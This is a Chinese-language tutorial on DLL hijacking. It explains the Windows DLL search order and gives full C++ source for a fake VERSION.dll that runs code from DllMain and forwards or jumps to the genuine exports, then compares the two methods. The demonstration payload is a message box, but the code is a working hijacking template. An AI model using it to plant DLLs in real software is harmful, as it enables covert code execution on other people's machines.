描述
- 伪造dll,篡改里面的导出函数,替换原来的dll,进程将会加载伪造的dll,执行dllmain中的恶意代码以及调用篡改后的函数
知识
- 由于PE文件输入表中只包含dll名而没有路径,因此加载程序必须在磁盘上搜索dll文件,搜索路径的顺序如下:
- 程序所在目录
- 系统目录
- 16位系统目录
- Windows目录
- 当前目录
- PATH环境变量中的各目录
- dll劫持就是用一个和目标dll同名的dll对其进行替换,程序会优先加载
- 为了使加载恶意dll后程序还能正常运行,恶意dll导出函数的名称和功能必须与原来的dll一致,有两种方式来调用原来的dll:
- 直接转发dll函数
- 主动调用dll函数
代码
直接转发dll
- 通过pragma预编译指令进行转发,调用原来的dll函数
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
::MessageBox(NULL, "直接转发函数方法", "From DLL Hijack", MB_OK | MB_ICONWARNING);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// 直接转发函数
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=OLD_VERSION.GetFileVersionInfoA")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=OLD_VERSION.GetFileVersionInfoByHandle")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=OLD_VERSION.GetFileVersionInfoExA")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=OLD_VERSION.GetFileVersionInfoExW")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=OLD_VERSION.GetFileVersionInfoSizeA")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=OLD_VERSION.GetFileVersionInfoSizeExA")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=OLD_VERSION.GetFileVersionInfoSizeExW")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=OLD_VERSION.GetFileVersionInfoSizeW")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=OLD_VERSION.GetFileVersionInfoW")
#pragma comment(linker, "/EXPORT:VerFindFileA=OLD_VERSION.VerFindFileA")
#pragma comment(linker, "/EXPORT:VerFindFileW=OLD_VERSION.VerFindFileW")
#pragma comment(linker, "/EXPORT:VerInstallFileA=OLD_VERSION.VerInstallFileA")
#pragma comment(linker, "/EXPORT:VerInstallFileW=OLD_VERSION.VerInstallFileW")
#pragma comment(linker, "/EXPORT:VerLanguageNameA=OLD_VERSION.VerLanguageNameA")
#pragma comment(linker, "/EXPORT:VerLanguageNameW=OLD_VERSION.VerLanguageNameW")
#pragma comment(linker, "/EXPORT:VerQueryValueA=OLD_VERSION.VerQueryValueA")
#pragma comment(linker, "/EXPORT:VerQueryValueW=OLD_VERSION.VerQueryValueW")
主动调用dll函数
- 相当于重新写一遍每个函数并导出,函数里通过loadlibrary和getprocaddress获取原来的函数地址,通过内联汇编指令jmp跳转
- 注意导出函数前要使用关键字
declspec(naked)
来声明罗函数,告诉编译器不进行任何优化,此外还须使用内联汇编跳转,保证完全控制
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
// 绝对路径加载VERSION.dll
::LoadLibrary("C:\\Windows\\System32\\VERSION.dll");
::MessageBox(NULL, "调用函数方法", "From DLL Hijack", MB_OK | MB_ICONWARNING);
break;
}
case DLL_THREAD_ATTACH:
{
break;
}
case DLL_THREAD_DETACH:
{
// 卸载VERSION.dll
HMODULE hDll = ::GetModuleHandle("C:\\Windows\\System32\\VERSION.dll");
if (hDll)
{
::FreeLibrary(hDll);
}
break;
}
case DLL_PROCESS_DETACH:
{
break;
}
break;
}
return TRUE;
}
// 导出
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=_DG_GetFileVersionInfoA,@1")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=_DG_GetFileVersionInfoByHandle,@2")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=_DG_GetFileVersionInfoExA,@3")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=_DG_GetFileVersionInfoExW,@4")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=_DG_GetFileVersionInfoSizeA,@5")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=_DG_GetFileVersionInfoSizeExA,@6")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=_DG_GetFileVersionInfoSizeExW,@7")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=_DG_GetFileVersionInfoSizeW,@8")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=_DG_GetFileVersionInfoW,@9")
#pragma comment(linker, "/EXPORT:VerFindFileA=_DG_VerFindFileA,@10")
#pragma comment(linker, "/EXPORT:VerFindFileW=_DG_VerFindFileW,@11")
#pragma comment(linker, "/EXPORT:VerInstallFileA=_DG_VerInstallFileA,@12")
#pragma comment(linker, "/EXPORT:VerInstallFileW=_DG_VerInstallFileW,@13")
#pragma comment(linker, "/EXPORT:VerLanguageNameA=_DG_VerLanguageNameA,@14")
#pragma comment(linker, "/EXPORT:VerLanguageNameW=_DG_VerLanguageNameW,@15")
#pragma comment(linker, "/EXPORT:VerQueryValueA=_DG_VerQueryValueA,@16")
#pragma comment(linker, "/EXPORT:VerQueryValueW=_DG_VerQueryValueW,@17")
// 获取函数地址
PVOID GetFunctionAddress(char *pszFunctionName)
{
PVOID pAddr = NULL;
HMODULE hDll = NULL;
char szDllPath[MAX_PATH] = "C:\\Windows\\System32\\VERSION.dll";
hDll = ::LoadLibrary(szDllPath);
if (NULL == hDll)
{
return NULL;
}
pAddr = ::GetProcAddress(hDll, pszFunctionName);
::FreeLibrary(hDll);
return pAddr;
}
// 函数
extern "C" void __declspec(naked) DG_GetFileVersionInfoA()
{
GetFunctionAddress("GetFileVersionInfoA");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_GetFileVersionInfoByHandle()
{
GetFunctionAddress("GetFileVersionInfoByHandle");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_GetFileVersionInfoExA()
{
GetFunctionAddress("GetFileVersionInfoExA");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_GetFileVersionInfoExW()
{
GetFunctionAddress("GetFileVersionInfoExW");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeA()
{
GetFunctionAddress("GetFileVersionInfoSizeA");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeExA()
{
GetFunctionAddress("GetFileVersionInfoSizeExA");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeExW()
{
GetFunctionAddress("GetFileVersionInfoSizeExW");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_GetFileVersionInfoSizeW()
{
GetFunctionAddress("GetFileVersionInfoSizeW");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_GetFileVersionInfoW()
{
GetFunctionAddress("GetFileVersionInfoW");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_VerFindFileA()
{
GetFunctionAddress("VerFindFileA");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_VerFindFileW()
{
GetFunctionAddress("VerFindFileW");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_VerInstallFileA()
{
GetFunctionAddress("VerInstallFileA");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_VerInstallFileW()
{
GetFunctionAddress("VerInstallFileW");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_VerLanguageNameA()
{
GetFunctionAddress("VerLanguageNameA");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_VerLanguageNameW()
{
GetFunctionAddress("VerLanguageNameW");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_VerQueryValueA()
{
GetFunctionAddress("VerQueryValueA");
__asm jmp eax
}
extern "C" void __declspec(naked) DG_VerQueryValueW()
{
GetFunctionAddress("VerQueryValueW");
__asm jmp eax
}
两种方法比较
- 因为
declspec(naked)
关键字和内联汇编不支持64位,故主动调用方法仅能用在32位dll劫持上,而转发方法既能32也能64位劫持 - 主动调用方法不用改原来dll的名字,而转发方法必须修改原来dll的名字,否则会造成死锁